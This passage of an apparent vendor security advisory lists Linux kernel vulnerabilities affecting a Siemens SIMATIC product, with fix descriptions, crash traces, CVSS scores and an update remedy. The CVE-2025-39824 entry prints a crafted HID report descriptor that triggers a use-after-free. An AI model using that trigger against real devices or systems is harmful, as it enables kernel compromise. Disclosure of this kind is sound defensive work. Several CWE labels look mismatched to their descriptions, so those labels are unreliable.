class=\"csaf-accordion-item\">\n\nCVE-2025-39788\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: ufs: exynos: Fix programming of HCI_UTRL_NEXUS_TYPE On Google gs101, the number of UTP transfer request slots (nutrs) is 32, and in this case the driver ends up programming the UTRL_NEXUS_TYPE incorrectly as 0. This is because the left hand side of the shift is 1, which is of type int, i.e. 31 bits wide. Shifting by more than that width results in undefined behaviour. Fix this by switching to the BIT() macro, which applies correct type casting as required. This ensures the correct value is written to UTRL_NEXUS_TYPE (0xffffffff on gs101), and it also fixes a UBSAN shift warning: UBSAN: shift-out-of-bounds in drivers/ufs/host/ufs-exynos.c:1113:21 shift exponent 32 is too large for 32-bit type 'int' For consistency, apply the same change to the nutmrs / UTMRL_NEXUS_TYPE write.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39790\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: bus: mhi: host: Detect events pointing to unexpected TREs When a remote device sends a completion event to the host, it contains a pointer to the consumed TRE. The host uses this pointer to process all of the TREs between it and the host's local copy of the ring's read pointer. This works when processing completion for chained transactions, but can lead to nasty results if the device sends an event for a single-element transaction with a read pointer that is multiple elements ahead of the host's read pointer. For instance, if the host accesses an event ring while the device is updating it, the pointer inside of the event might still point to an old TRE. If the host uses the channel's xfer_cb() to directly free the buffer pointed to by the TRE, the buffer will be double-freed. This behavior was observed on an ep that used upstream EP stack without 'commit 6f18d174b73d (\"bus: mhi: ep: Update read pointer only after buffer is written\")'. Where the device updated the events ring pointer before updating the event contents, so it left a window where the host was able to access the stale data the event pointed to, before the device had the chance to update them. The usual pattern was that the host received an event pointing to a TRE that is not immediately after the last processed one, so it got treated as if it was a chained transaction, processing all of the TREs in between the two read pointers. This commit aims to harden the host by ensuring transactions where the event points to a TRE that isn't local_rp + 1 are chained. [mani: added stable tag and reworded commit message]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-415 Double Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.7\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39794\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ARM: tegra: Use I/O memcpy to write to IRAM Kasan crashes the kernel trying to check boundaries when using the normal memcpy.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39795\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: block: avoid possible overflow for chunk_sectors check in blk_stack_limits() In blk_stack_limits(), we check that the t->chunk_sectors value is a multiple of the t->physical_block_size value. However, by finding the chunk_sectors value in bytes, we may overflow the unsigned int which holds chunk_sectors, so change the check to be based on sectors.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-674 Uncontrolled Recursion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39798\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: NFS: Fix the setting of capabilities when automounting a new filesystem Capabilities cannot be inherited when we cross into a new filesystem. They need to be reset to the minimal defaults, and then probed for again.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-273 Improper Check for Dropped Privileges\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39800\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: abort transaction on unexpected eb generation at btrfs_copy_root() If we find an unexpected generation for the extent buffer we are cloning at btrfs_copy_root(), we just WARN_ON() and don't error out and abort the transaction, meaning we allow to persist metadata with an unexpected generation. Instead of warning only, abort the transaction and return -EUCLEAN.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39801\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: usb: dwc3: Remove WARN_ON for device endpoint command timeouts This commit addresses a rarely observed endpoint command timeout which causes kernel panic due to warn when 'panic_on_warn' is enabled and unnecessary call trace prints when 'panic_on_warn' is disabled. It is seen during fast software-controlled connect/disconnect testcases. The following is one such endpoint command timeout that we observed: 1. Connect ======= ->dwc3_thread_interrupt ->dwc3_ep0_interrupt ->configfs_composite_setup ->composite_setup ->usb_ep_queue ->dwc3_gadget_ep0_queue ->__dwc3_gadget_ep0_queue ->__dwc3_ep0_do_control_data ->dwc3_send_gadget_ep_cmd 2. Disconnect ========== ->dwc3_thread_interrupt ->dwc3_gadget_disconnect_interrupt ->dwc3_ep0_reset_state ->dwc3_ep0_end_control_data ->dwc3_send_gadget_ep_cmd In the issue scenario, in Exynos platforms, we observed that control transfers for the previous connect have not yet been completed and end transfer command sent as a part of the disconnect sequence and processing of USB_ENDPOINT_HALT feature request from the host timeout. This maybe an expected scenario since the controller is processing EP commands sent as a part of the previous connect. It maybe better to remove WARN_ON in all places where device endpoint commands are sent to avoid unnecessary kernel panic due to warn.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39806\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: multitouch: fix slab out-of-bounds access in mt_report_fixup() A malicious HID device can trigger a slab out-of-bounds during mt_report_fixup() by passing in report descriptor smaller than 607 bytes. mt_report_fixup() attempts to patch byte offset 607 of the descriptor with 0x25 by first checking if byte offset 607 is 0x15 however it lacks bounds checks to verify if the descriptor is big enough before conducting this check. Fix this bug by ensuring the descriptor size is at least 608 bytes before accessing it. Below is the KASAN splat after the out of bounds access happens: [ 13.671954] ================================================================== [ 13.672667] BUG: KASAN: slab-out-of-bounds in mt_report_fixup+0x103/0x110 [ 13.673297] Read of size 1 at addr ffff888103df39df by task kworker/0:1/10 [ 13.673297] [ 13.673297] CPU: 0 UID: 0 PID: 10 Comm: kworker/0:1 Not tainted 6.15.0-00005-gec5d573d83f4-dirty #3 [ 13.673297] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/04 [ 13.673297] Call Trace: [ 13.673297] [ 13.673297] dump_stack_lvl+0x5f/0x80 [ 13.673297] print_report+0xd1/0x660 [ 13.673297] kasan_report+0xe5/0x120 [ 13.673297] __asan_report_load1_noabort+0x18/0x20 [ 13.673297] mt_report_fixup+0x103/0x110 [ 13.673297] hid_open_report+0x1ef/0x810 [ 13.673297] mt_probe+0x422/0x960 [ 13.673297] hid_device_probe+0x2e2/0x6f0 [ 13.673297] really_probe+0x1c6/0x6b0 [ 13.673297] __driver_probe_device+0x24f/0x310 [ 13.673297] driver_probe_device+0x4e/0x220 [ 13.673297] __device_attach_driver+0x169/0x320 [ 13.673297] bus_for_each_drv+0x11d/0x1b0 [ 13.673297] __device_attach+0x1b8/0x3e0 [ 13.673297] device_initial_probe+0x12/0x20 [ 13.673297] bus_probe_device+0x13d/0x180 [ 13.673297] device_add+0xe3a/0x1670 [ 13.673297] hid_add_device+0x31d/0xa40 [...]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39808\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: hid-ntrig: fix unable to handle page fault in ntrig_report_version() in ntrig_report_version(), hdev parameter passed from hid_probe(). sending descriptor to /dev/uhid can make hdev->dev.parent->parent to null if hdev->dev.parent->parent is null, usb_dev has invalid address(0xffffffffffffff58) that hid_to_usb_dev(hdev) returned when usb_rcvctrlpipe() use usb_dev,it trigger page fault error for address(0xffffffffffffff58) add null check logic to ntrig_report_version() before calling hid_to_usb_dev()\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39812\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: sctp: initialize more fields in sctp_v6_from_sk() syzbot found that sin6_scope_id was not properly initialized, leading to undefined behavior. Clear sin6_scope_id and sin6_flowinfo. BUG: KMSAN: uninit-value in __sctp_v6_cmp_addr+0x887/0x8c0 net/sctp/ipv6.c:649 __sctp_v6_cmp_addr+0x887/0x8c0 net/sctp/ipv6.c:649 sctp_inet6_cmp_addr+0x4f2/0x510 net/sctp/ipv6.c:983 sctp_bind_addr_conflict+0x22a/0x3b0 net/sctp/bind_addr.c:390 sctp_get_port_local+0x21eb/0x2440 net/sctp/socket.c:8452 sctp_get_port net/sctp/socket.c:8523 [inline] sctp_listen_start net/sctp/socket.c:8567 [inline] sctp_inet_listen+0x710/0xfd0 net/sctp/socket.c:8636 __sys_listen_socket net/socket.c:1912 [inline] __sys_listen net/socket.c:1927 [inline] __do_sys_listen net/socket.c:1932 [inline] __se_sys_listen net/socket.c:1930 [inline] __x64_sys_listen+0x343/0x4c0 net/socket.c:1930 x64_sys_call+0x271d/0x3e20 arch/x86/include/generated/asm/syscalls_64.h:51 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xd9/0x210 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Local variable addr.i.i created at: sctp_get_port net/sctp/socket.c:8515 [inline] sctp_listen_start net/sctp/socket.c:8567 [inline] sctp_inet_listen+0x650/0xfd0 net/sctp/socket.c:8636 __sys_listen_socket net/socket.c:1912 [inline] __sys_listen net/socket.c:1927 [inline] __do_sys_listen net/socket.c:1932 [inline] __se_sys_listen net/socket.c:1930 [inline] __x64_sys_listen+0x343/0x4c0 net/socket.c:1930\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39813\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ftrace: Fix potential warning in trace_printk_seq during ftrace_dump When calling ftrace_dump_one() concurrently with reading trace_pipe, a WARN_ON_ONCE() in trace_printk_seq() can be triggered due to a race condition. The issue occurs because: CPU0 (ftrace_dump) CPU1 (reader) echo z > /proc/sysrq-trigger !trace_empty(&iter) trace_iterator_reset(&iter) <- len = size = 0 cat /sys/kernel/tracing/trace_pipe trace_find_next_entry_inc(&iter) __find_next_entry ring_buffer_empty_cpu <- all empty return NULL trace_printk_seq(&iter.seq) WARN_ON_ONCE(s->seq.len >= s->seq.size) In the context between trace_empty() and trace_find_next_entry_inc() during ftrace_dump, the ring buffer data was consumed by other readers. This caused trace_find_next_entry_inc to return NULL, failing to populate `iter.seq`. At this point, due to the prior trace_iterator_reset, both `iter.seq.len` and `iter.seq.size` were set to 0. Since they are equal, the WARN_ON_ONCE condition is triggered. Move the trace_printk_seq() into the if block that checks to make sure the return value of trace_find_next_entry_inc() is non-NULL in ftrace_dump_one(), ensuring the 'iter.seq' is properly populated before subsequent operations.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39817\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: efivarfs: Fix slab-out-of-bounds in efivarfs_d_compare Observed on kernel 6.6 (present on master as well): BUG: KASAN: slab-out-of-bounds in memcmp+0x98/0xd0 Call trace: kasan_check_range+0xe8/0x190 __asan_loadN+0x1c/0x28 memcmp+0x98/0xd0 efivarfs_d_compare+0x68/0xd8 __d_lookup_rcu_op_compare+0x178/0x218 __d_lookup_rcu+0x1f8/0x228 d_alloc_parallel+0x150/0x648 lookup_open.isra.0+0x5f0/0x8d0 open_last_lookups+0x264/0x828 path_openat+0x130/0x3f8 do_filp_open+0x114/0x248 do_sys_openat2+0x340/0x3c0 __arm64_sys_openat+0x120/0x1a0 If dentry->d_name.len < EFI_VARIABLE_GUID_LEN , 'guid' can become negative, leadings to oob. The issue can be triggered by parallel lookups using invalid filename: T1 T2 lookup_open ->lookup simple_lookup d_add // invalid dentry is added to hash list lookup_open d_alloc_parallel __d_lookup_rcu __d_lookup_rcu_op_compare hlist_bl_for_each_entry_rcu // invalid dentry can be retrieved ->d_compare efivarfs_d_compare // oob Fix it by checking 'guid' before cmp.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39819\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/smb: Fix inconsistent refcnt update A possible inconsistent update of refcount was identified in `smb2_compound_op`. Such inconsistent update could lead to possible resource leaks. Why it is a possible bug: 1. In the comment section of the function, it clearly states that the reference to `cfile` should be dropped after calling this function. 2. Every control flow path would check and drop the reference to `cfile`, except the patched one. 3. Existing callers would not handle refcount update of `cfile` if -ENOMEM is returned. To fix the bug, an extra goto label \"out\" is added, to make sure that the cleanup logic would always be respected. As the problem is caused by the allocation failure of `vars`, the cleanup logic between label \"finished\" and \"out\" can be safely ignored. According to the definition of function `is_replayable_error`, the error code of \"-ENOMEM\" is not recoverable. Therefore, the replay logic also gets ignored.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39823\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: KVM: x86: use array_index_nospec with indices that come from guest min and dest_id are guest-controlled indices. Using array_index_nospec() after the bounds checks clamps these values to mitigate speculative execution side-channels.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39824\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: asus: fix UAF via HID_CLAIMED_INPUT validation After hid_hw_start() is called hidinput_connect() will eventually be called to set up the device with the input layer since the HID_CONNECT_DEFAULT connect mask is used. During hidinput_connect() all input and output reports are processed and corresponding hid_inputs are allocated and configured via hidinput_configure_usages(). This process involves slot tagging report fields and configuring usages by setting relevant bits in the capability bitmaps. However it is possible that the capability bitmaps are not set at all leading to the subsequent hidinput_has_been_populated() check to fail leading to the freeing of the hid_input and the underlying input device. This becomes problematic because a malicious HID device like a ASUS ROG N-Key keyboard can trigger the above scenario via a specially crafted descriptor which then leads to a user-after-free when the name of the freed input device is written to later on after hid_hw_start(). Below, report 93 intentionally utilises the HID_UP_UNDEFINED Usage Page which is skipped during usage configuration, leading to the frees. 0x05, 0x0D, // Usage Page (Digitizer) 0x09, 0x05, // Usage (Touch Pad) 0xA1, 0x01, // Collection (Application) 0x85, 0x0D, // Report ID (13) 0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00) 0x09, 0xC5, // Usage (0xC5) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xFF, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x04, // Report Count (4) 0xB1, 0x02, // Feature (Data,Var,Abs) 0x85, 0x5D, // Report ID (93) 0x06, 0x00, 0x00, // Usage Page (Undefined) 0x09, 0x01, // Usage (0x01) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xFF, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x1B, // Report Count (27) 0x81, 0x02, // Input (Data,Var,Abs) 0xC0, // End Collection Below is the KASAN splat after triggering the UAF: [ 21.672709] ================================================================== [ 21.673700] BUG: KASAN: slab-use-after-free in asus_probe+0xeeb/0xf80 [ 21.673700] Write of size 8 at addr ffff88810a0ac000 by task kworker/1:2/54 [ 21.673700] [ 21.673700] CPU: 1 UID: 0 PID: 54 Comm: kworker/1:2 Not tainted 6.16.0-rc4-g9773391cf4dd-dirty #36 PREEMPT(voluntary) [ 21.673700] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 [ 21.673700] Call Trace: [ 21.673700] [ 21.673700] dump_stack_lvl+0x5f/0x80 [ 21.673700] print_report+0xd1/0x660 [ 21.673700] kasan_report+0xe5/0x120 [ 21.673700] __asan_report_store8_noabort+0x1b/0x30 [ 21.673700] asus_probe+0xeeb/0xf80 [ 21.673700] hid_device_probe+0x2ee/0x700 [ 21.673700] really_probe+0x1c6/0x6b0 [ 21.673700] __driver_probe_device+0x24f/0x310 [ 21.673700] driver_probe_device+0x4e/0x220 [...] [ 21.673700] [ 21.673700] Allocated by task 54: [ 21.673700] kasan_save_stack+0x3d/0x60 [ 21.673700] kasan_save_track+0x18/0x40 [ 21.673700] kasan_save_alloc_info+0x3b/0x50 [ 21.673700] __kasan_kmalloc+0x9c/0xa0 [ 21.673700] __kmalloc_cache_noprof+0x139/0x340 [ 21.673700] input_allocate_device+0x44/0x370 [ 21.673700] hidinput_connect+0xcb6/0x2630 [ 21.673700] hid_connect+0xf74/0x1d60 [ 21.673700] hid_hw_start+0x8c/0x110 [ 21.673700] asus_probe+0x5a3/0xf80 [ 21.673700] hid_device_probe+0x2ee/0x700 [ 21.673700] really_probe+0x1c6/0x6b0 [ 21.673700] __driver_probe_device+0x24f/0x310 [ 21.673700] driver_probe_device+0x4e/0x220 [...] [ 21.673700] [ 21.673700] Freed by task 54: [ 21.673700] kasan_save_stack+0x3d/0x60 [ 21.673700] kasan_save_track+0x18/0x40 [ 21.673700] kasan_save_free_info+0x3f/0x60 [ 21.673700] __kasan_slab_free+0x3c/0x50 [ 21.673700] kfre ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39825\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb: client: fix race with concurrent opens in rename(2) Besides sending the rename request to the server, the rename process also involves closing any deferred close, waiting for outstanding I/O to complete as well as marking all existing open handles as deleted to prevent them from deferring closes, which increases the race window for potential concurrent opens on the target file. Fix this by unhashing the dentry in advance to prevent any concurrent opens on the target.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input 